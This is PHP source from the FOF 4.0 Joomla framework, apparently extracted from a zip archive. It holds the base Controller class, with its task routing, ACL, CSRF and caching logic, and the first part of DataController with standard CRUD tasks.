required ACL privileges per task. For example: * array( * 'edit' => 'core.edit', * 'jump' => 'foobar.jump', * 'alwaysallow' => 'true', * 'neverallow' => 'false' * ); * * You can use the notation '@task' which means 'apply the same privileges as "task"'. If you create a reference * back to yourself (e.g. 'mytask' => array('@mytask')) it will return TRUE. * * @var array */ protected $taskPrivileges = []; /** * Enable CSRF protection on selected tasks. The possible values are: * * 0 Disabled; no token checks are performed * 1 Enabled; token checks are always performed * 2 Only on HTML requests and backend; token checks are always performed in the back-end and in the front-end * only when format is 'html' * 3 Only on back-end; token checks are performed only in the back-end * * @var integer */ protected $csrfProtection = 2; /** * Public constructor of the Controller class. You can pass the following variables in the $config array: * name string The name of the Controller. Default: auto detect from the class name * default_task string The task to use when none is specified. Default: main * autoRouting int See the autoRouting property * csrfProtection int See the csrfProtection property * viewName string The view name. Default: the same as the controller name * modelName string The model name. Default: the same as the controller name * viewConfig array The configuration overrides for the View. * modelConfig array The configuration overrides for the Model. * * @param Container $container The application container * @param array $config The configuration array * * @return Controller */ public function __construct(Container $container, array $config = []) { // Initialise $this->methods = []; $this->message = null; $this->messageType = 'message'; $this->paths = []; $this->redirect = null; $this->taskMap = []; // Get a local copy of the container $this->container = $container; // Determine the methods to exclude from the base class. $xMethods = get_class_methods('\\FOF40\\Controller\\Controller'); // Get the public methods in this class using reflection. $r = new \ReflectionClass($this); $rMethods = $r->getMethods(\ReflectionMethod::IS_PUBLIC); foreach ($rMethods as $rMethod) { $mName = $rMethod->getName(); // If the developer screwed up and declared one of the helper method public do NOT make them available as // tasks. if ((substr($mName, 0, 8) == 'onBefore') || (substr($mName, 0, 7) == 'onAfter') || substr($mName, 0, 1) == '_') { continue; } // Add default display method if not explicitly declared. if (!in_array($mName, $xMethods) || $mName == 'display' || $mName == 'main') { $this->methods[] = $mName; // Auto register the methods as tasks. $this->taskMap[$mName] = $mName; } } if (isset($config['name'])) { $this->name = $config['name']; } // Get the default values for the component and view names $this->view = $this->getName(); $this->layout = $this->input->getCmd('layout', null); // If the default task is set, register it as such if (array_key_exists('default_task', $config) && !empty($config['default_task'])) { $this->registerDefaultTask($config['default_task']); } else { $this->registerDefaultTask('main'); } // Cache the config $this->config = $config; // Set any model/view name overrides if (array_key_exists('viewName', $config) && !empty($config['viewName'])) { $this->setViewName($config['viewName']); } if (array_key_exists('modelName', $config) && !empty($config['modelName'])) { $this->setModelName($config['modelName']); } // Apply the autoRouting preference if (array_key_exists('autoRouting', $config)) { $this->autoRouting = (int) $config['autoRouting']; } // Apply the csrfProtection preference if (array_key_exists('csrfProtection', $config)) { $this->csrfProtection = (int) $config['csrfProtection']; } // Apply the preventStateBleedover preference if (array_key_exists('preventStateBleedover', $config)) { $this->preventStateBleedover = (bool) ((int) $config['preventStateBleedover']); } } /** * Magic get method. Handles magic properties: * $this->input mapped to $this->container->input * * @param string $name The property to fetch * * @return mixed|null */ public function __get(string $name) { // Handle $this->input if ($name == 'input') { return $this->container->input; } // Property not found; raise error $trace = debug_backtrace(); trigger_error( 'Undefined property via __get(): ' . $name . ' in ' . $trace[0]['file'] . ' on line ' . $trace[0]['line'], E_USER_NOTICE); return null; } /** * Executes a given controller task. The onBefore<task> and onAfter<task> * methods are called automatically if they exist. * * @param string $task The task to execute, e.g. "browse" * * @return mixed|bool False on execution failure * * @throws TaskNotFound When the task is not found */ public function execute(string $task) { $this->task = $task; if (!isset($this->taskMap[$task]) && !isset($this->taskMap['__default'])) { throw new TaskNotFound(Text::sprintf('JLIB_APPLICATION_ERROR_TASK_NOT_FOUND', $task), 404); } $result = $this->triggerEvent('onBeforeExecute', [&$task]); if ($result === false) { return false; } $eventName = 'onBefore' . ucfirst($task); $result = $this->triggerEvent($eventName); if ($result === false) { return false; } // Do not allow the display task to be directly called if (isset($this->taskMap[$task])) { $doTask = $this->taskMap[$task]; } elseif (isset($this->taskMap['__default'])) { $doTask = $this->taskMap['__default']; } else { $doTask = null; } // Record the actual task being fired $this->doTask = $doTask; $ret = $this->$doTask(); $eventName = 'onAfter' . ucfirst($task); $result = $this->triggerEvent($eventName); if ($result === false) { return false; } $result = $this->triggerEvent('onAfterExecute', [$task]); if ($result === false) { return false; } return $ret; } /** * Default task. Assigns a model to the view and asks the view to render * itself. * * YOU MUST NOT USE THIS TASK DIRECTLY IN A URL. It is supposed to be * used ONLY inside your code. In the URL, use task=browse instead. * * @param bool $cachable Is this view cacheable? * @param array|null $urlparams Add your safe URL parameters (see further down in the code) * @param string $tpl The name of the template file to parse * * @return void * * @throws Exception */ public function display(bool $cachable = false, ?array $urlparams = null, ?string $tpl = null): void { $document = $this->container->platform->getDocument(); if ($document instanceof Document) { $viewType = $document->getType(); } else { $viewType = $this->input->getCmd('format', 'html'); } $view = $this->getView(); $view->setTask($this->task); $view->setDoTask($this->doTask); // Get/Create the model if ($model = $this->getModel()) { // Push the model into the view (as default) $view->setDefaultModel($model); } // Set the layout if (!is_null($this->layout)) { $view->setLayout($this->layout); } $conf = $this->container->platform->getConfig(); if ($cachable && ($viewType != 'feed') && ($conf->get('caching') >= 1)) { // Get a Cache object $option = $this->input->get('option', 'com_foobar', 'cmd'); // Set up a cache ID based on component, view, task and user group assignment $user = $this->container->platform->getUser(); $groups = $user->guest ? [] : $user->groups; $userId = $user->guest ? 0 : $user->id; switch ($this->userCaching) { case 0: // Developer chose to apply the same caching to everyone $groups = []; $userId = 0; break; case 1: // Developer chose to apply caching per user group membership only $userId = 0; break; } $importantParameters = []; // Set up safe URL parameters if (!is_array($urlparams)) { $urlparams = [ 'option' => 'CMD', 'view' => 'CMD', 'task' => 'CMD', 'format' => 'CMD', 'layout' => 'CMD', 'id' => 'INT', ]; } if (is_array($urlparams)) { /** @var CMSApplication $app */ $app = JoomlaFactory::getApplication(); $registeredurlparams = null; $registeredurlparams = !empty($app->registeredurlparams) ? $app->registeredurlparams : new stdClass; foreach ($urlparams as $key => $value) { // Add your safe url parameters with variable type as value {@see InputFilter::clean()}. $registeredurlparams->$key = $value; // Add the URL-important parameters into the array $importantParameters[$key] = $this->input->get($key, null, $value); } $app->registeredurlparams = $registeredurlparams; } // Create the cache ID after setting the registered URL params, as they are used to generate the ID $cacheId = md5(serialize([ Cache::makeId(), $view->getName(), $this->doTask, $groups, $userId, $importantParameters, ])); // Get the cached view or cache the current view try { /** @var \Joomla\CMS\Cache\Controller\ViewController $cache */ $cache = JoomlaFactory::getCache($option, 'view'); $cache->get($view, 'display', $cacheId); } catch (CacheExceptionInterface $e) { // Display without caching $view->display($tpl); } } else { // Display without caching $view->display($tpl); } } /** * Alias to the display() task * * @codeCoverageIgnore * * @throws Exception */ public function main() { $this->display(); } /** * Returns a named Model object * * @param string $name The Model name. If null we'll use the modelName * variable or, if it's empty, the same name as * the Controller * @param array $config Configuration parameters to the Model. If skipped * we will use $this->config * * @return Model The instance of the Model known to this Controller */ public function getModel(?string $name = null, array $config = []) { if (!empty($name)) { $modelName = $name; } elseif (!empty($this->modelName)) { $modelName = $this->modelName; } else { $modelName = $this->view; } // Do we already have an instance of that model cached? if (array_key_exists($modelName, $this->modelInstances)) { return $this->modelInstances[$modelName]; } if (empty($config) && isset($this->config['modelConfig'])) { $config = $this->config['modelConfig']; } if (empty($name)) { $config['modelTemporaryInstance'] = true; $controllerName = $this->getName(); if ($controllerName !== $modelName) { $config['hash_view'] = $controllerName; } } else { // Other classes are loaded with persistent state disabled and their state/input blanked out $config['modelTemporaryInstance'] = false; $config['modelClearState'] = true; $config['modelClearInput'] = true; } $this->modelInstances[$modelName] = $this->container->factory->model(ucfirst($modelName), $config); return $this->modelInstances[$modelName]; } /** * Returns a named View object * * @param string $name The Model name. If null we'll use the modelName * variable or, if it's empty, the same name as * the Controller * @param array $config Configuration parameters to the Model. If skipped * we will use $this->config * * @return View The instance of the Model known to this Controller */ public function getView(?string $name = null, array $config = []) { if (!empty($name)) { $viewName = $name; } elseif (!empty($this->viewName)) { $viewName = $this->viewName; } else { $viewName = $this->view; } if (!array_key_exists($viewName, $this->viewInstances)) { if (empty($config) && isset($this->config['viewConfig'])) { $config = $this->config['viewConfig']; } $viewType = $this->input->getCmd('format', 'html'); // Get the model's class name $this->viewInstances[$viewName] = $this->container->factory->view($viewName, $viewType, $config); } return $this->viewInstances[$viewName]; } /** * Pushes a named view to the Controller * * @param string $viewName The name of the View * @param View $view The actual View object to push * * @return void */ public function setView(string $viewName, View &$view): void { $this->viewInstances[$viewName] = $view; } /** * Set the name of the view to be used by this Controller * * @param string $viewName The name of the view * * @return void */ public function setViewName(string $viewName): void { $this->viewName = $viewName; } /** * Set the name of the model to be used by this Controller * * @param string $modelName The name of the model * * @return void */ public function setModelName(string $modelName): void { $this->modelName = $modelName; } /** * Pushes a named model to the Controller * * @param string $modelName The name of the Model * @param Model $model The actual Model object to push * * @return void */ public function setModel(string $modelName, Model &$model): void { $this->modelInstances[$modelName] = $model; } /** * Method to get the controller name * * The controller name is set by default parsed using the classname, or it can be set * by passing a $config['name'] in the class constructor * * @return string The name of the controller * * @throws CannotGetName If it's impossible to determine the name and it's not set */ public function getName(): string { if (empty($this->name)) { $r = null; if (!preg_match('/(.*)\\\\Controller\\\\(.*)/i', get_class($this), $r)) { throw new CannotGetName(Text::_('LIB_FOF40_CONTROLLER_ERR_GET_NAME'), 500); } $this->name = $r[2]; } return $this->name; } /** * Get the last task that is being performed or was most recently performed. * * @return string The task that is being performed or was most recently performed. */ public function getTask(): string { return $this->task; } /** * Gets the available tasks in the controller. * * @return string[] Array of task names. */ public function getTasks(): array { return $this->methods; } /** * Redirects the browser or returns false if no redirect is set. * * @return boolean False if no redirect exists. */ public function redirect(): bool { if (!empty($this->redirect)) { $this->container->platform->redirect($this->redirect, 301, $this->message, $this->messageType); return true; } return false; } /** * Register the default task to perform if a mapping is not found. * * @param string $method The name of the method in the derived class to perform if a named task is not found. * * @return Controller This object to support chaining. */ public function registerDefaultTask(string $method): Controller { $this->registerTask('__default', $method); return $this; } /** * Register (map) a task to a method in the class. * * @param string $task The task. * @param string $method The name of the method in the derived class to perform for this task. * * @return Controller This object to support chaining. */ public function registerTask(string $task, string $method): Controller { if (in_array($method, $this->methods)) { $this->taskMap[$task] = $method; } return $this; } /** * Unregister (unmap) a task in the class. * * @param string $task The task. * * @return Controller This object to support chaining. */ public function unregisterTask(string $task): Controller { unset($this->taskMap[$task]); return $this; } /** * Sets the internal message that is passed with a redirect * * @param string $text Message to display on redirect. * @param string $type Message type. Optional, defaults to 'message'. * * @return string|null Previous message */ public function setMessage(string $text, string $type = 'message'): ?string { $previous = $this->message; $this->message = $text; $this->messageType = $type; return $previous; } /** * Set a URL for browser redirection. * * @param string $url URL to redirect to. * @param string $msg Message to display on redirect. Optional, defaults to value set internally by * controller, if any. * @param string $type Message type. Optional, defaults to 'message' or the type set by a previous call to * setMessage. * * @return Controller This object to support chaining. */ public function setRedirect(string $url, ?string $msg = null, ?string $type = null): Controller { // If we're parsing a non-SEF URL decide whether to use Route or not if (strpos($url, 'index.php') === 0) { $isAdmin = $this->container->platform->isBackend(); $auto = false; if (($this->autoRouting == 2 || $this->autoRouting == 3) && $isAdmin) { $auto = true; } if (($this->autoRouting == 1 || $this->autoRouting == 3) && !$isAdmin) { $auto = true; } if ($auto) { $url = Route::_($url, false); } /** * Joomla 4 does not add the base URI to redirections. * * This means that all bare redirects, e.g. to 'index.php?option=com_example', no longer work correctly. * * In the frontend, if your site is located in a subdirectory e.g. /foobar you get redirected to * /index.php?option=com_example instead of /foobar/index.php?option=com_example * * In the backend, you're redirected to /index.php?option=com_example instead of the expected * /administrator/index.php?option=com_example which breaks your application since the backend redirects to * the frontend. * * This is an undocumented b/c break in Joomla 4. It even breaks some of the core components... * * The following code detects bare redirect URLs and adds the base URI path if auto-routing has been * disabled, automatically fixing the observed issue. It only does that on Joomla 4 since adding the base * URI on Joomla 3 can cause redirection problems. */ if (!$auto && version_compare(JVERSION, '3.999.999', 'gt')) { $url = Uri::base() . $url; } } // Set the redirection $this->redirect = $url; if ($msg !== null) { // Controller may have set this directly $this->message = $msg; } // Ensure the type is not overwritten by a previous call to setMessage. if (empty($this->messageType)) { $this->messageType = 'message'; } // If the type is explicitly set, set it. if (!empty($type)) { $this->messageType = $type; } return $this; } /** * Returns true if there is a redirect set in the controller * * @return boolean */ public function hasRedirect(): bool { return !empty($this->redirect); } /** * Provides CSRF protection through the forced use of a secure token. If the token doesn't match the one in the * session we return false. * * @return bool * * @throws Exception */ protected function csrfProtection(): bool { static $isCli = null, $isAdmin = null; $platform = $this->container->platform; if (is_null($isCli)) { $isCli = $platform->isCli(); $isAdmin = $platform->isBackend(); } switch ($this->csrfProtection) { // Never case 0: return true; // Always case 1: break; // Only back-end and HTML format case 2: if ($isCli) { return true; } elseif (!$isAdmin && ($this->input->get('format', 'html', 'cmd') != 'html')) { return true; } break; // Only back-end case 3: if (!$isAdmin) { return true; } break; } // Check for a session token $token = $this->container->platform->getToken(false); $hasToken = $this->input->get($token, false, 'none') == 1; if (!$hasToken) { $hasToken = $this->input->get('_token', null, 'none') == $token; } if ($hasToken) { $view = $this->input->getCmd('view'); $task = $this->input->getCmd('task'); Log::add( "FOF: You are using a legacy session token in (view, task)=($view, $task). Support for legacy tokens will go away. Use form tokens instead.", Log::WARNING, 'deprecated' ); } // Check for a form token if (!$hasToken) { $token = $this->container->platform->getToken(true); $hasToken = $this->input->get($token, false, 'none') == 1; if (!$hasToken) { $view = $this->input->getCmd('view'); $task = $this->input->getCmd('task'); Log::add( "FOF: You are using the insecure _token form variable in (view, task)=($view, $task). Support for it will go away. Submit a variable with the token as the name and a value of 1 instead.", Log::WARNING, 'deprecated' ); $hasToken = $this->input->get('_token', null, 'none') == $token; } } if (!$hasToken) { $platform->showErrorPage(new AccessForbidden(Text::_('JLIB_APPLICATION_ERROR_ACCESS_FORBIDDEN'))); return false; } return true; } /** * Triggers an object-specific event. The event runs both locally –if a suitable method exists– and through the * Joomla! plugin system. A true/false return value is expected. The first false return cancels the event. * * EXAMPLE * Component: com_foobar, Object name: item, Event: onBeforeSomething, Arguments: array(123, 456) * The event calls: * 1. $this->onBeforeSomething(123, 456) * 2. $this->checkACL('@something') if there is no onBeforeSomething and the event starts with onBefore * 3. Joomla! plugin event onComFoobarControllerItemBeforeSomething($this, 123, 456) * * @param string $event The name of the event, typically named onPredicateVerb e.g. onBeforeKick * @param array $arguments The arguments to pass to the event handlers * * @return bool */ protected function triggerEvent(string $event, array $arguments = []): bool { $result = true; // If there is an object method for this event, call it if (method_exists($this, $event)) { $result = $this->{$event}(...$arguments); } // If there is no handler method perform a simple ACL check elseif (substr($event, 0, 8) == 'onBefore') { $task = substr($event, 8); if (array_key_exists($task, $this->taskMap)) { $result = $this->checkACL('@' . $task); } } if ($result === false) { return false; } // All other event handlers live outside this object, therefore they need to be passed a reference to this // objects as the first argument. array_unshift($arguments, $this); // If we have an "on" prefix for the event (e.g. onFooBar) remove it and stash it for later. $prefix = ''; if (substr($event, 0, 2) == 'on') { $prefix = 'on'; $event = substr($event, 2); } // Get the component/model prefix for the event $prefix .= 'Com' . ucfirst($this->container->bareComponentName) . 'Controller'; $prefix .= ucfirst($this->getName()); // The event name will be something like onComFoobarItemsBeforeSomething $event = $prefix . $event; // Call the Joomla! plugins $results = $this->container->platform->runPlugins($event, $arguments); return !in_array(false, $results, true); } /** * Checks if the current user has enough privileges for the requested ACL area. * * @param string $area The ACL area, e.g. core.manage. * * @return boolean True if the user has the ACL privilege specified */ protected function checkACL(string $area): bool { $area = $this->getACLRuleFor($area); if (is_bool($area)) { return $area; } if (in_array(strtolower($area), ['false', '0', 'no', '403'])) { return false; } if (in_array(strtolower($area), ['true', '1', 'yes'])) { return true; } if (strtolower($area) == 'guest') { return $this->container->platform->getUser()->guest; } if (strtolower($area) == 'user') { return !$this->container->platform->getUser()->guest; } if (empty($area)) { return true; } return $this->container->platform->authorise($area, $this->container->componentName); } /** * Resolves @task and &callback notations for ACL privileges * * @param string $area The task notation to resolve * @param array $oldAreas Areas we've already been redirected from, used to detect circular references * * @return string|bool The resolved ACL privilege */ protected function getACLRuleFor(string $area, array $oldAreas = []) { // If it's a ¬ation return the callback result if (substr($area, 0, 1) == '&') { $oldAreas[] = $area; $method = substr($area, 1); // Method not found? Assume true. if (!method_exists($this, $method)) { return true; } $area = $this->$method(); return $this->getACLRuleFor($area, $oldAreas); } // If it's not an @notation return the raw string if (substr($area, 0, 1) != '@') { return $area; } // Get the array index (other task) $index = substr($area, 1); // If the referenced task has no ACL map, return true if (!isset($this->taskPrivileges[$index])) { $index = strtolower($index); if (!isset($this->taskPrivileges[$index])) { return true; } } // Get the new ACL area $newArea = $this->taskPrivileges[$index]; $oldAreas[] = $area; // Circular reference found if (in_array($newArea, $oldAreas)) { return true; } // We've found an ACL privilege. Return it. if (substr($area, 0, 1) != '@') { return $newArea; } // We have another reference. Resolve it. return $this->getACLRuleFor($newArea, $oldAreas); } } PK���\�T;7�7�#fof40/Controller/DataController.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Controller; defined('_JEXEC') || die; use Exception; use FOF40\Container\Container; use FOF40\Controller\Exception\ItemNotFound; use FOF40\Controller\Exception\LockedRecord; use FOF40\Controller\Exception\NotADataModel; use FOF40\Controller\Exception\NotADataView; use FOF40\Controller\Exception\TaskNotFound; use FOF40\Model\DataModel; use FOF40\View\DataView\DataViewInterface; use FOF40\View\View; use Joomla\CMS\Language\Text; use Joomla\CMS\Response\JsonResponse; /** * Database-aware Controller * * @property-read \FOF40\Input\Input $input The input object (magic __get returns the Input from the Container) */ class DataController extends Controller { /** * Variables that should be taken in account while working with the cache. You can set them in Controller * constructor or inside onBefore* methods * * @var null|array */ protected $cacheParams = null; /** * An associative array for required ACL privileges per task. For example: * array( * 'edit' => 'core.edit', * 'jump' => 'foobar.jump', * 'alwaysallow' => 'true', * 'neverallow' => 'false' * ); * * You can use the notation '@task' which means 'apply the same privileges as "task"'. If you create a reference * back to yourself (e.g. 'mytask' => array('@mytask')) it will return TRUE. * * @var array */ protected $taskPrivileges = [ // Special privileges '*editown' => 'core.edit.own', // Privilege required to edit own record // Standard tasks 'add' => 'core.create', 'apply' => '&getACLForApplySave', // Apply task: call the getACLForApplySave method 'archive' => 'core.edit.state', 'cancel' => 'core.edit.state', 'copy' => '@add', // Maps copy ACLs to the add task 'edit' => 'core.edit', 'loadhistory' => '@edit', // Maps loadhistory ACLs to the edit task 'orderup' => 'core.edit.state', 'orderdown' => 'core.edit.state', 'publish' => 'core.edit.state', 'remove' => 'core.delete', 'forceRemove' => 'core.delete', 'save' => '&getACLForApplySave', // Save task: call the getACLForApplySave method 'savenew' => 'core.create', 'saveorder' => 'core.edit.state', 'trash' => 'core.edit.state', 'unpublish' => 'core.edit.state', ]; /** * An indexed array of default values for the add task. Since the add task resets the model you can't set these * values directly to the model. Instead, the defaultsForAdd values will be fed to model's bind() after it's reset * and before the session-stored item data is bound to the model object. * * @var array */ protected $defaultsForAdd = []; /** * Public constructor of the Controller class. You can pass the following variables in the $config array, * on top of what you already have in the base Controller class: * * taskPrivileges array ACL privileges for each task * cacheableTasks array The cache-enabled tasks * * @param Container $container The application container * @param array $config The configuration array */ public function __construct(Container $container, array $config = []) { parent::__construct($container, $config); // Set up a default model name if none is provided if (empty($this->modelName)) { $this->modelName = $container->inflector->pluralize($this->view); } // Set up a default view name if none is provided if (empty($this->viewName)) { $this->viewName = $container->inflector->pluralize($this->view); } if (isset($config['cacheableTasks'])) { if (!is_array($config['cacheableTasks'])) { $config['cacheableTasks'] = explode(',', $config['cacheableTasks']); $config['cacheableTasks'] = array_map('trim', $config['cacheableTasks']); } $this->cacheableTasks = $config['cacheableTasks']; } elseif ($this->container->platform->isBackend()) { $this->cacheableTasks = []; } else { $this->cacheableTasks = ['browse', 'read']; } if (!isset($config['taskPrivileges'])) { return; } if (!is_array($config['taskPrivileges'])) { return; } $this->taskPrivileges = array_merge($this->taskPrivileges, $config['taskPrivileges']); } /** * Executes a given controller task. The onBefore<task> and onAfter<task> methods are called automatically if they * exist. * * If $task == 'default' we will determine the CRUD task to use based on the view name and HTTP verb in the request, * overriding the routing. * * @param string $task The task to execute, e.g. "browse" * * @return null|bool False on execution failure * * @throws TaskNotFound When the task is not found */ public function execute(string $task) { if ($task == 'default') { $task = $this->getCrudTask(); } return parent::execute($task); } /** * Returns a named View object * * @param string $name The View name. If null we'll use the viewName * variable or, if it's empty, the same name as * the Controller * @param array $config Configuration parameters to the View. If skipped * we will use $this->config * * @return View|DataViewInterface The instance of the View known to this Controller * * @throws NotADataView If the View found does not implement the DataViewInterface */ public function getView(?string $name = null, array $config = []) { if (!empty($name)) { $viewName = $name; } elseif (!empty($this->viewName)) { $viewName = $this->viewName; } else { $viewName = $this->view; } if (!array_key_exists($viewName, $this->viewInstances)) { if (empty($config) && isset($this->config['viewConfig'])) { $config = $this->config['viewConfig']; } $viewType = $this->input->getCmd('format', 'html'); // Get the model's class name $this->viewInstances[$viewName] = $this->container->factory->view($viewName, $viewType, $config); } if (($this->viewInstances[$viewName] instanceof View) && !($this->viewInstances[$viewName] instanceof DataViewInterface)) { throw new NotADataView(); } return $this->viewInstances[$viewName]; } /** * Implements a default browse task, i.e. read a bunch of records and send * them to the browser. * * @return void * @throws Exception */ public function browse(): void { // Initialise the savestate $saveState = $this->input->get('savestate', -999, 'int'); if ($saveState == -999) { $saveState = true; } $this->getModel()->savestate($saveState); // Display the view $this->cacheParams = $this->cacheParams ?: null; $this->display(in_array('browse', $this->cacheableTasks), $this->cacheParams); } /** * Single record read. The id set in the request is passed to the model and * then the item layout is used to render the result. * * @return void * * @throws ItemNotFound When the item is not found * @throws Exception */ public function read(): void { // Load the model /** @var DataModel $model */ $model = $this->getModel()->savestate(false); // If there is no record loaded, try loading a record based on the id passed in the input object if (!$model->getId()) { $ids = $this->getIDsFromRequest($model); if ($model->getId() != reset($ids)) { $key = strtoupper($this->container->componentName . '_ERR_' . $model->getName() . '_NOTFOUND'); throw new ItemNotFound(Text::_($key), 404); } } // Set the layout to item, if it's not set in the URL if (empty($this->layout)) { $this->layout = 'item'; } elseif ($this->layout == 'default') { $this->layout = 'item'; } // Display the view $this->cacheParams = $this->cacheParams ?: null; $this->display(in_array('read', $this->cacheableTasks), $this->cacheParams); } /** * Single record add. The form layout is used to present a blank page. * * @return void * @throws Exception */ public function add(): void { // Load and reset the model $model = $this->getModel()->savestate(false); $model->reset(); // Set the layout to form, if it's not set in the URL if (empty($this->layout)) { $this->layout = 'form'; } elseif ($this->layout == 'default') { $this->layout = 'form'; } if (!empty($this->defaultsForAdd)) { $model->bind($this->defaultsForAdd); } // Get temporary data from the session, set if the save failed and we're redirected back here $sessionKey = $this->viewName . '.savedata'; $itemData = $this->container->platform->getSessionVar($sessionKey, null, $this->container->componentName); $this->container->platform->setSessionVar($sessionKey, null, $this->container->componentName); if (!empty($itemData)) { $model->bind($itemData); } // Display the view $this->cacheParams = $this->cacheParams ?: null; $this->display(in_array('add', $this->cacheableTasks), $this->cacheParams); } /** * Single record edit. The ID set in the request is passed to the model, * then the form layout is used to edit the result. * * @return void * @throws Exception */ public function edit(): void { // Load the model /** @var DataModel $model */ $model = $this->getModel()->savestate(false); if (!$model->getId()) { $this->getIDsFromRequest($model); } $userId = $this->container->platform->getUser()->id; try { if ($model->isLocked($userId)) { $model->checkIn($userId); } $model->lock(); } catch (Exception $e) { // Redirect on error if (($customURL = $this->input->getBase64('returnurl', '') ?? '') !== '') { $customURL = base64_decode($customURL); } $url = !empty($customURL) ? $customURL : 'index.php?option=' . $this->container->componentName . '&view=' . $this->container->inflector->pluralize($this->view) . $this->getItemidURLSuffix(); $this->setRedirect($url, $e->getMessage(), 'error'); return; } // Set the layout to form, if it's not set in the URL if (empty($this->layout)) { $this->layout = 'form'; } elseif ($this->layout == 'default') { $this->layout = 'form'; } // Get temporary data from the session, set if the save failed and we're redirected back here $sessionKey = $this->viewName . '.savedata'; $itemData = $this->container->platform->getSessionVar($sessionKey, null, $this->container->componentName); $this->container->platform->setSessionVar($sessionKey, null, $this->container->componentName); if (!empty($itemData)) { $model->bind($itemData); } // Display the view $this->cacheParams = $this->cacheParams ?: null; $this->display(in_array('edit', $this->cacheableTasks), $this->cacheParams); } /** * Save the incoming data and then return to the Edit task * * @return void * @throws Exception */ public function apply(): void { // CSRF prevention $this->csrfProtection(); // Redirect to the edit task if (!$this->applySave()) { return; } $id = $this->input->get('id', 0, 'int'); $textKey = strtoupper($this->container->componentName . '_LBL_' . $this->container->inflector->singularize($this->view) . '_SAVED'); if (($customURL = $this->input->getBase64('returnurl', '') ?? '') !== '') { $customURL = base64_decode($customURL); } $url = !empty($customURL) ? $customURL : 'index.php?option=' . $this->container->componentName . '&view=' . $this->view . '&task=edit&id=' . $id . $this->getItemidURLSuffix(); $this->setRedirect($url, Text::_($textKey)); } /** * Duplicates selected items * * @return void * @throws Exception */ public function copy(): void { // CSRF prevention $this->csrfProtection(); $model = $this->getModel()->savestate(false); $ids = $this->getIDsFromRequest($model); $error = null; $copiedCount = 0; try { $status = true; foreach ($ids as $id) { $model->find($id); $model->copy(); $copiedCount++; } } catch (Exception $e) { $status = false; $error = $e->getMessage(); } // Redirect if (($customURL = $this->input->getBase64('returnurl', '') ?? '') !== '') { $customURL = base64_decode($customURL); } $url = !empty($customURL) ? $customURL : 'index.php?option=' . $this->container->componentName . '&view=' . $this->container->inflector->pluralize($this->view) . $this->getItemidURLSuffix(); if (!$status) { $this->setRedirect($url, $error, 'error'); return; } if ($copiedCount > 0) { $textKey = strtoupper($this->container->componentName . '_LBL_' . $this->container->inflector->singularize($this->view) . '_COPIED'); $this->setRedirect($url, Text::_($textKey)); return; } $this->setRedirect($url); } /** * Save the incoming data and then return to the Browse task * * @return void * @throws Exception */ public function save(): void { // CSRF prevention $this->csrfProtection(); if (!$this->applySave()) { return; } $textKey = strtoupper($this->container->componentName . '_LBL_' . $this->container->inflector->singularize($this->view) . '_SAVED'); if (($customURL = $this->input->getBase64('returnurl', '') ?? '') !== '') { $customURL = base64_decode($customURL); } $url = !empty($customURL) ? $customURL : 'index.php?option=' . $this->container->componentName . '&view=' . $this->container->inflector->pluralize($this->view) . $this->getItemidURLSuffix(); $this->setRedirect($url, Text::_($textKey)); } /** * Save the incoming data and then return to the Add task * * @return bool * @throws Exception */ public function savenew(): bool { // CSRF prevention $this->csrfProtection(); if (!$this->applySave()) { return false; } $textKey = strtoupper($this->container->componentName . '_LBL_' . $this->container->inflector->singularize($this->view) . '_SAVED'); if (($customURL = $this->input->getBase64('returnurl', '') ?? '') !== '') { $customURL = base64_decode($customURL); } $url = !empty($customURL) ? $customURL : 'index.php?option=' . $this->container->componentName . '&view=' . $this->container->inflector->singularize($this->view) . '&task=add' . $this->getItemidURLSuffix(); $this->setRedirect($url, Text::_($textKey)); return true; } /** * Save the incoming data as a copy of the given model and then redirect to the copied object edit view * * @return bool * @throws Exception */ public function save2copy(): bool { // CSRF prevention $this->csrfProtection(); $model = $this->getModel()->savestate(false); $ids = $this->getIDsFromRequest($model); $data = $this->input->getData(); unset($data[$model->getIdFieldName()]); $error = null; try { $status = true; foreach ($ids as $id) { $model->find($id); $model = $model->copy($data); } } catch (Exception $e) { $status = false; $error = $e->getMessage(); } // Redirect if (($customURL = $this->input->getBase64('returnurl', '') ?? '') !== '') { $customURL = base64_decode($customURL); } $url = !empty($customURL) ? $customURL : $url = 'index.php?option=' . $this->container->componentName . '&view=' . $this->view . '&task=edit&id=' . $model->getId() . $this->getItemidURLSuffix(); if (!$status) { $this->setRedirect($url, $error, 'error'); } else { $textKey = strtoupper($this->container->componentName . '_LBL_' . $this->container->inflector->singularize($this->view) . '_COPIED'); $this->setRedirect($url, Text::_($textKey)); } } /** * Cancel the edit, check in the record and return to the Browse task * * @return void */ public function cancel(): void { $model = $this->getModel()->tmpInstance()->savestate(false); if (!$model->getId()) { $this->getIDsFromRequest($model); } if ($model->getId()) { $userId = $this->container->platform->getUser()->id; if ($model->isLocked($userId)) { try { $model->checkIn($userId); } catch (LockedRecord $e) { // Redirect to the display task if (($customURL = $this->input->getBase64('returnurl', '') ?? '') !== '') { $customURL = base64_decode($customURL); } $url = !empty($customURL) ? $customURL : 'index.php?option=' . $this->container->componentName . '&view=' . $this->container->inflector->pluralize($this->view) . $this->getItemidURLSuffix(); $this->setRedirect($url, $e->getMessage(), 'error'); } } $model->unlock(); } // Remove any saved data $sessionKey = $this->viewName . '.savedata'; $this->container->platform->setSessionVar($sessionKey, null, $this->container->componentName); // Redirect to the display task if (($customURL = $this->input->getBase64('returnurl', '') ?? '') !== '') { $customURL = base64_decode($customURL); } $url = !empty($customURL) ? $customURL : 'index.php?option=' . $this->container->componentName . '&view=' . $this->container->inflector->pluralize($this->view) . $this->getItemidURLSuffix(); $this->setRedirect($url); } /** * Publish (set enabled = 1) an item. * * @return void * @throws Exception */ public function publish(): void { // CSRF prevention $this->csrfProtection(); $model = $this->getModel()->savestate(false); $ids = $this->getIDsFromRequest($model, false); $error = false; try { $status = true; foreach ($ids as $id) { $model->find($id); $userId = $this->container->platform->getUser()->id; if ($model->isLocked($userId)) { $model->checkIn($userId); } $model->publish(); } } catch (Exception $e) { $status = false; $error = $e->getMessage(); } // Redirect if (($customURL = $this->input->getBase64('returnurl', '') ?? '') !== '') { $customURL = base64_decode($customURL); } $url = !empty($customURL) ? $customURL : 'index.php?option=' . $this->container->componentName . '&view=' . $this->container->inflector->pluralize($this->view) . $this->getItemidURLSuffix(); if (!$status) { $this->setRedirect($url, $error, 'error'); } else { $this->setRedirect($url); } } /** * 